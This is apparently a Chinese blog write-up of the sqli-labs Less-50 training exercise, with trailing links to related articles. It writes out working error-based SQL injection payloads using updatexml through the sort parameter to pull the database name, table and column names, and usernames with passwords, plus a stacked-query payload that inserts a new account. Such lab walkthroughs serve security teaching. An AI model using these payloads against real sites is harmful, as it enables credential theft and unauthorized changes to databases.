sqli-labs-Less-50

SQLI-LAPS 实验记录

Less-50

这一关我们采用报错注入的方式,可以查询到数据库名称、表名、列名等信息。

首先我们在命令行中输入sqlmap命令:

sql 复制代码
?sort=1

结果如图所示,列出了数据的具体信息,但这不是我们想要的方式。

接下来,我们尝试使用updatexml摄氏注入的方法来进行注入。

sql 复制代码
?sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1)#

结果如图所示,爆出了数据库名称,接下来我们就可以继续报错注入的方式,查询表名、列名等信息。


  • 查询表名:
sql 复制代码
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#
  • 查询列名:
sql 复制代码
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#
  • 查询数据:
sql 复制代码
?sort=1 and updatexml(1,concat(0x7e,(select concat(username,id,password) from security.users where id=1),0x7e),1)#

除此之外,我们还可以使用insert方式,向数据库中插入我们想要的账号和密码信息:

sql 复制代码
?sort=1; insert into users(username,id,password) values('heze111',111,'love')#

可以看到,帐号heze111与密码love已经插入到数据库当中了。

相关推荐
Hiyajo pray24 分钟前
SDN 访问控制性能调优方法
服务器·网络·网络安全
wuqingshun3141591 小时前
MYSQL默认的事务隔离级别是什么?为什么选择这个级别?
数据库·mysql
空中湖1 小时前
电池简史(五):极限之梦与终章——锂硫、锂空气、量子电池,以及你该知道的电池投资与生活指南
数据库·程序人生
蓝胖子酱2 小时前
在 Electron 中用 electron-store 实现加密存储与自定义格式文件
前端·javascript·数据库
snow@li3 小时前
Redis:数据库语法速查表 / 全景梳理
数据库·redis·缓存
Devlive 开源社区3 小时前
Nebula 1.6.0 发布:跨区域桶自动路由、秒传、文本/PDF 预览一次到位
数据库·sql
这个DBA有点耶4 小时前
导个数据中文全变问号?字符集这事儿真没那么简单
数据库·mysql·代码规范
wuqingshun3141594 小时前
MYSQL中如果发生死锁应该如何解决?
数据库·mysql
DO_Community4 小时前
Weaviate 托管数据库现已在 DigitalOcean 上开放公测
数据库·人工智能·开源·向量数据库·weaviate
数据知道4 小时前
网络安全职业规划:从入门到高级安全工程师的路径图
安全·web安全·网络安全·渗透测试·职业规划